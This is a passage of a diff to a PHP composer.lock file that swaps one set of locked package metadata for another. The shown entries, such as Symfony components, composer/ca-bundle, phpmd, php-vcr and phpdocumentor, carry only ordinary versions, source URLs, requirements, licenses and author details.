"~1.0", - "symfony/config": "^3.4|^4.0|^5.0", - "symfony/dependency-injection": "^3.4|^4.0|^5.0", - "symfony/expression-language": "^3.4|^4.0|^5.0", - "symfony/http-foundation": "^3.4|^4.0|^5.0", - "symfony/service-contracts": "^1.1|^2", - "symfony/stopwatch": "^3.4|^4.0|^5.0" - }, - "suggest": { - "symfony/dependency-injection": "", - "symfony/http-kernel": "" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.4-dev" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Component\\EventDispatcher\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony EventDispatcher Component", - "homepage": "https://symfony.com", - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-08-13T14:18:44+00:00" - }, - { - "name": "symfony/event-dispatcher-contracts", - "version": "v1.1.9", - "source": { - "type": "git", - "url": "https://github.com/symfony/event-dispatcher-contracts.git", - "reference": "84e23fdcd2517bf37aecbd16967e83f0caee25a7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/84e23fdcd2517bf37aecbd16967e83f0caee25a7", - "reference": "84e23fdcd2517bf37aecbd16967e83f0caee25a7", - "shasum": "" - }, - "require": { - "php": ">=7.1.3" - }, - "suggest": { - "psr/event-dispatcher": "", - "symfony/event-dispatcher-implementation": "" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - }, - "thanks": { - "name": "symfony/contracts", - "url": "https://github.com/symfony/contracts" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Contracts\\EventDispatcher\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Generic abstractions related to dispatching event", - "homepage": "https://symfony.com", - "keywords": [ - "abstractions", - "contracts", - "decoupling", - "interfaces", - "interoperability", - "standards" - ], - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-07-06T13:19:58+00:00" - }, - { - "name": "symfony/filesystem", - "version": "v4.4.13", - "source": { - "type": "git", - "url": "https://github.com/symfony/filesystem.git", - "reference": "27575bcbc68db1f6d06218891296572c9b845704" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/27575bcbc68db1f6d06218891296572c9b845704", - "reference": "27575bcbc68db1f6d06218891296572c9b845704", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "symfony/polyfill-ctype": "~1.8" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.4-dev" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Component\\Filesystem\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Filesystem Component", - "homepage": "https://symfony.com", - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-08-21T17:19:37+00:00" - }, - { - "name": "symfony/polyfill-ctype", - "version": "v1.18.1", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-ctype.git", - "reference": "1c302646f6efc070cd46856e600e5e0684d6b454" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/1c302646f6efc070cd46856e600e5e0684d6b454", - "reference": "1c302646f6efc070cd46856e600e5e0684d6b454", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "suggest": { - "ext-ctype": "For best performance" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.18-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Polyfill\\Ctype\\": "" - }, - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Gert de Pagter", - "email": "BackEndTea@gmail.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill for ctype functions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "ctype", - "polyfill", - "portable" - ], - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-07-14T12:35:20+00:00" - }, - { - "name": "symfony/service-contracts", - "version": "v1.1.9", - "source": { - "type": "git", - "url": "https://github.com/symfony/service-contracts.git", - "reference": "b776d18b303a39f56c63747bcb977ad4b27aca26" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/b776d18b303a39f56c63747bcb977ad4b27aca26", - "reference": "b776d18b303a39f56c63747bcb977ad4b27aca26", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "psr/container": "^1.0" - }, - "suggest": { - "symfony/service-implementation": "" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - }, - "thanks": { - "name": "symfony/contracts", - "url": "https://github.com/symfony/contracts" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Contracts\\Service\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Generic abstractions related to writing services", - "homepage": "https://symfony.com", - "keywords": [ - "abstractions", - "contracts", - "decoupling", - "interfaces", - "interoperability", - "standards" - ], - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-07-06T13:19:58+00:00" - }, - { - "name": "symfony/yaml", - "version": "v4.4.13", - "source": { - "type": "git", - "url": "https://github.com/symfony/yaml.git", - "reference": "e2a69525b11a33be51cb00b8d6d13a9258a296b1" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/e2a69525b11a33be51cb00b8d6d13a9258a296b1", - "reference": "e2a69525b11a33be51cb00b8d6d13a9258a296b1", - "shasum": "" - }, - "require": { - "php": ">=7.1.3", - "symfony/polyfill-ctype": "~1.8" - }, - "conflict": { - "symfony/console": "<3.4" - }, - "require-dev": { - "symfony/console": "^3.4|^4.0|^5.0" - }, - "suggest": { - "symfony/console": "For validating YAML files using the lint command" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.4-dev" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Component\\Yaml\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Yaml Component", - "homepage": "https://symfony.com", - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-08-26T08:30:46+00:00" - }, - { - "name": "theseer/tokenizer", - "version": "1.2.0", - "source": { - "type": "git", - "url": "https://github.com/theseer/tokenizer.git", - "reference": "75a63c33a8577608444246075ea0af0d052e452a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/75a63c33a8577608444246075ea0af0d052e452a", - "reference": "75a63c33a8577608444246075ea0af0d052e452a", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - } - ], - "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "time": "2020-07-12T23:59:07+00:00" - }, - { - "name": "webmozart/assert", - "version": "1.9.1", - "source": { - "type": "git", - "url": "https://github.com/webmozart/assert.git", - "reference": "bafc69caeb4d49c39fd0779086c03a3738cbb389" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/webmozart/assert/zipball/bafc69caeb4d49c39fd0779086c03a3738cbb389", - "reference": "bafc69caeb4d49c39fd0779086c03a3738cbb389", - "shasum": "" - }, - "require": { - "php": "^5.3.3 || ^7.0 || ^8.0", - "symfony/polyfill-ctype": "^1.8" - }, - "conflict": { - "phpstan/phpstan": "<0.12.20", - "vimeo/psalm": "<3.9.1" - }, - "require-dev": { - "phpunit/phpunit": "^4.8.36 || ^7.5.13" - }, - "type": "library", - "autoload": { - "psr-4": { - "Webmozart\\Assert\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Bernhard Schussek", - "email": "bschussek@gmail.com" - } - ], - "description": "Assertions to validate method input/output with nice error messages.", - "keywords": [ - "assert", - "check", - "validate" - ], - "time": "2020-07-08T17:02:28+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": { - "php": "^7.2 || ^7.3 || ^7.4", - "ext-curl": "*" - }, - "platform-dev": [], - "plugin-api-version": "1.1.0" -} +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "7e25988d44315ad3455e4adf60f438de", + "packages": [ + { + "name": "composer/ca-bundle", + "version": "1.2.8", + "source": { + "type": "git", + "url": "https://github.com/composer/ca-bundle.git", + "reference": "8a7ecad675253e4654ea05505233285377405215" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/ca-bundle/zipball/8a7ecad675253e4654ea05505233285377405215", + "reference": "8a7ecad675253e4654ea05505233285377405215", + "shasum": "" + }, + "require": { + "ext-openssl": "*", + "ext-pcre": "*", + "php": "^5.3.2 || ^7.0 || ^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.7 || 6.5 - 8", + "psr/log": "^1.0", + "symfony/process": "^2.5 || ^3.0 || ^4.0 || ^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\CaBundle\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "Lets you find a path to the system CA bundle, and includes a fallback to the Mozilla CA bundle.", + "keywords": [ + "cabundle", + "cacert", + "certificate", + "ssl", + "tls" + ], + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2020-08-23T12:54:47+00:00" + } + ], + "packages-dev": [ + { + "name": "beberlei/assert", + "version": "v3.2.7", + "source": { + "type": "git", + "url": "https://github.com/beberlei/assert.git", + "reference": "d63a6943fc4fd1a2aedb65994e3548715105abcf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/beberlei/assert/zipball/d63a6943fc4fd1a2aedb65994e3548715105abcf", + "reference": "d63a6943fc4fd1a2aedb65994e3548715105abcf", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "ext-mbstring": "*", + "ext-simplexml": "*", + "php": "^7" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "*", + "phpstan/phpstan-shim": "*", + "phpunit/phpunit": ">=6.0.0 <8" + }, + "suggest": { + "ext-intl": "Needed to allow Assertion::count(), Assertion::isCountable(), Assertion::minCount(), and Assertion::maxCount() to operate on ResourceBundles" + }, + "type": "library", + "autoload": { + "psr-4": { + "Assert\\": "lib/Assert" + }, + "files": [ + "lib/Assert/functions.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de", + "role": "Lead Developer" + }, + { + "name": "Richard Quadling", + "email": "rquadling@gmail.com", + "role": "Collaborator" + } + ], + "description": "Thin assertion library for input validation in business models.", + "keywords": [ + "assert", + "assertion", + "validation" + ], + "time": "2019-12-19T17:51:41+00:00" + }, + { + "name": "composer/xdebug-handler", + "version": "1.4.3", + "source": { + "type": "git", + "url": "https://github.com/composer/xdebug-handler.git", + "reference": "ebd27a9866ae8254e873866f795491f02418c5a5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/xdebug-handler/zipball/ebd27a9866ae8254e873866f795491f02418c5a5", + "reference": "ebd27a9866ae8254e873866f795491f02418c5a5", + "shasum": "" + }, + "require": { + "php": "^5.3.2 || ^7.0 || ^8.0", + "psr/log": "^1.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35 || ^5.7 || 6.5 - 8" + }, + "type": "library", + "autoload": { + "psr-4": { + "Composer\\XdebugHandler\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "John Stevenson", + "email": "john-stevenson@blueyonder.co.uk" + } + ], + "description": "Restarts a process without Xdebug.", + "keywords": [ + "Xdebug", + "performance" + ], + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2020-08-19T10:27:58+00:00" + }, + { + "name": "doctrine/instantiator", + "version": "1.3.1", + "source": { + "type": "git", + "url": "https://github.com/doctrine/instantiator.git", + "reference": "f350df0268e904597e3bd9c4685c53e0e333feea" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/instantiator/zipball/f350df0268e904597e3bd9c4685c53e0e333feea", + "reference": "f350df0268e904597e3bd9c4685c53e0e333feea", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "doctrine/coding-standard": "^6.0", + "ext-pdo": "*", + "ext-phar": "*", + "phpbench/phpbench": "^0.13", + "phpstan/phpstan-phpunit": "^0.11", + "phpstan/phpstan-shim": "^0.11", + "phpunit/phpunit": "^7.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.2.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com", + "homepage": "http://ocramius.github.com/" + } + ], + "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", + "homepage": "https://www.doctrine-project.org/projects/instantiator.html", + "keywords": [ + "constructor", + "instantiate" + ], + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", + "type": "tidelift" + } + ], + "time": "2020-05-29T17:27:14+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.10.1", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "969b211f9a51aa1f6c01d1d2aef56d3bd91598e5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/969b211f9a51aa1f6c01d1d2aef56d3bd91598e5", + "reference": "969b211f9a51aa1f6c01d1d2aef56d3bd91598e5", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "replace": { + "myclabs/deep-copy": "self.version" + }, + "require-dev": { + "doctrine/collections": "^1.0", + "doctrine/common": "^2.6", + "phpunit/phpunit": "^7.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + }, + "files": [ + "src/DeepCopy/deep_copy.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2020-06-29T13:22:24+00:00" + }, + { + "name": "pdepend/pdepend", + "version": "2.8.0", + "source": { + "type": "git", + "url": "https://github.com/pdepend/pdepend.git", + "reference": "c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pdepend/pdepend/zipball/c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38", + "reference": "c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38", + "shasum": "" + }, + "require": { + "php": ">=5.3.7", + "symfony/config": "^2.3.0|^3|^4|^5", + "symfony/dependency-injection": "^2.3.0|^3|^4|^5", + "symfony/filesystem": "^2.3.0|^3|^4|^5" + }, + "require-dev": { + "easy-doc/easy-doc": "0.0.0 || ^1.2.3", + "gregwar/rst": "^1.0", + "phpunit/phpunit": "^4.8.35|^5.7", + "squizlabs/php_codesniffer": "^2.0.0" + }, + "bin": [ + "src/bin/pdepend" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "PDepend\\": "src/main/php/PDepend" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "description": "Official version of pdepend to be handled with Composer", + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/pdepend/pdepend", + "type": "tidelift" + } + ], + "time": "2020-06-20T10:53:13+00:00" + }, + { + "name": "phar-io/manifest", + "version": "1.0.3", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", + "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-phar": "*", + "phar-io/version": "^2.0", + "php": "^5.6 || ^7.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "time": "2018-07-08T19:23:20+00:00" + }, + { + "name": "phar-io/version", + "version": "2.0.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/45a2ec53a73c70ce41d55cedef9063630abaf1b6", + "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "time": "2018-07-08T19:19:57+00:00" + }, + { + "name": "php-vcr/php-vcr", + "version": "1.5.0", + "source": { + "type": "git", + "url": "https://github.com/php-vcr/php-vcr.git", + "reference": "1b152a62f5289373d40eee456992f32abfae144f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-vcr/php-vcr/zipball/1b152a62f5289373d40eee456992f32abfae144f", + "reference": "1b152a62f5289373d40eee456992f32abfae144f", + "shasum": "" + }, + "require": { + "beberlei/assert": "^3.2.5", + "ext-curl": "*", + "php": ">=7.2", + "symfony/event-dispatcher": "^2.4|^3.0|^4.0|^5.0", + "symfony/yaml": "~2.1|^3.0|^4.0|^5.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.16", + "mikey179/vfsstream": "^1.6", + "phpstan/phpstan": "^0.12", + "phpstan/phpstan-beberlei-assert": "^0.12.0", + "phpunit/phpunit": "^7.4.3", + "sebastian/version": "^1.0.3|^2.0", + "thecodingmachine/phpstan-strict-rules": "^0.12" + }, + "type": "library", + "autoload": { + "psr-4": { + "VCR\\": "src/VCR/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Adrian Philipp", + "email": "mail@adrian-philipp.com" + } + ], + "description": "Record your test suite's HTTP interactions and replay them during future test runs for fast, deterministic, accurate tests.", + "time": "2020-07-28T11:55:05+00:00" + }, + { + "name": "php-vcr/phpunit-testlistener-vcr", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/php-vcr/phpunit-testlistener-vcr.git", + "reference": "299aaf88533cee3ae64e99bdc6ad5b97fb495f21" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-vcr/phpunit-testlistener-vcr/zipball/299aaf88533cee3ae64e99bdc6ad5b97fb495f21", + "reference": "299aaf88533cee3ae64e99bdc6ad5b97fb495f21", + "shasum": "" + }, + "require": { + "php": "^7.1", + "php-vcr/php-vcr": "^1.4" + }, + "require-dev": { + "phpunit/phpunit": "^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "VCR\\PHPUnit\\TestListener\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Adrian Philipp", + "email": "mail@adrian-philipp.com" + } + ], + "description": "Integrates PHPUnit with PHP-VCR.", + "time": "2018-07-06T08:53:21+00:00" + }, + { + "name": "phpdocumentor/reflection-common", + "version": "2.2.0", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/ReflectionCommon.git", + "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b", + "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-2.x": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jaap van Otterdijk", + "email": "opensource@ijaap.nl" + } + ], + "description": "Common reflection classes used by phpdocumentor to reflect the code structure", + "homepage": "http://www.phpdoc.org", + "keywords": [ + "FQSEN", + "phpDocumentor", + "phpdoc", + "reflection", + "static analysis" + ], + "time": "2020-06-27T09:03:43+00:00" + }, + { + "name": "phpdocumentor/reflection-docblock", + "version": "5.2.1", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", + "reference": "d870572532cd70bc3fab58f2e23ad423c8404c44" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/d870572532cd70bc3fab58f2e23ad423c8404c44", + "reference": "d870572532cd70bc3fab58f2e23ad423c8404c44", + "shasum": "" + }, + "require": { + "ext-filter": "*", + "php": "^7.2 || ^8.0", + "phpdocumentor/reflection-common": "^2.2", + "phpdocumentor/type-resolver": "^1.3", + "webmozart/assert": "^1.9.1" + }, + "require-dev": { + "mockery/mockery": "~1.3.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mike van Riel", + "email": "me@mikevanriel.com" + }, + { + "name": "Jaap van Otterdijk", + "email": "account@ijaap.nl" + } + ], + "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", + "time": "2020-08-15T11:14:08+00:00" + }, + { + "name": "phpdocumentor/type-resolver", + "version": "1.3.0", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/TypeResolver.git", + "reference": "e878a14a65245fbe78f8080eba03b47c3b705651" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/e878a14a65245fbe78f8080eba03b47c3b705651", + "reference": "e878a14a65245fbe78f8080eba03b47c3b705651", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0", + "phpdocumentor/reflection-common": "^2.0" + }, + "require-dev": { + "ext-tokenizer": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-1.x": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mike van Riel", + "email": "me@mikevanriel.com" + } + ], + "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", + "time": "2020-06-27T10:12:23+00:00" + }, + { + "name": "phpmd/phpmd", + "version": "2.9.0", + "source": { + "type": "git", + "url": "https://github.com/phpmd/phpmd.git", + "reference": "2a346575a45a6f00e631f4d7f3f71b6a05e0d46d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpmd/phpmd/zipball/2a346575a45a6f00e631f4d7f3f71b6a05e0d46d", + "reference": "2a346575a45a6f00e631f4d7f3f71b6a05e0d46d", + "shasum": "" + }, + "require": { + "composer/xdebug-handler": "^1.0", + "ext-xml": "*", + "pdepend/pdepend": "^2.7.1", + "php": ">=5.3.9" + }, + "require-dev": { + "easy-doc/easy-doc": "0.0.0 || ^1.3.2", + "ext-json": "*", + "ext-simplexml": "*", + "gregwar/rst": "^1.0", + "mikey179/vfsstream": "^1.6.4", + "phpunit/phpunit": "^4.8.36 || ^5.7.27", + "squizlabs/php_codesniffer": "^2.0" + }, + "bin": [ + "src/bin/phpmd" + ], + "type": "library", + "autoload": { + "psr-0": { + "PHPMD\\": "src/main/php" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Manuel Pichler", + "email": "github@manuel-pichler.de", + "homepage": "https://github.com/manuelpichler", + "role": "Project Founder" + }, + { + "name": "Marc Würth", + "email": "ravage@bluewin.ch", + "homepage": "https://github.com/ravage84", + "role": "Project Maintainer" + }, + { + "name": "Other contributors", + "homepage": "https://github.com/phpmd/phpmd/graphs/contributors", + "role": "Contributors" + } + ], + "description": "PHPMD is a spin-off project of PHP Depend and aims to be a PHP equivalent of the well known Java tool PMD.", + "homepage": "https://phpmd.org/", + "keywords": [ + "mess detection", + "mess detector", + "pdepend", + "phpmd", + "pmd" + ], + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/phpmd/phpmd", + "type": "tidelift" + } + ], + "time": "2020-09-02T09:12:27+00:00" + }, + { + "name": "phpspec/prophecy", + "version": "1.11.1", + "source": { + "type": "git", + "url": "https://github.com/phpspec/prophecy.git", + "reference": "b20034be5efcdab4fb60ca3a29cba2949aead160" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpspec/prophecy/zipball/b20034be5efcdab4fb60ca3a29cba2949aead160", + "reference": "b20034be5efcdab4fb60ca3a29cba2949aead160", + "shasum": "" + }, + "require": { + "doctrine/instantiator": "^1.2", + "php": "^7.2", + "phpdocumentor/reflection-docblock": "^5.0", + "sebastian/comparator": "^3.0 || ^4.0", + "sebastian/recursion-context": "^3.0 || ^4.0" + }, + "require-dev": { + "phpspec/phpspec": "^6.0", + "phpunit/phpunit": "^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { 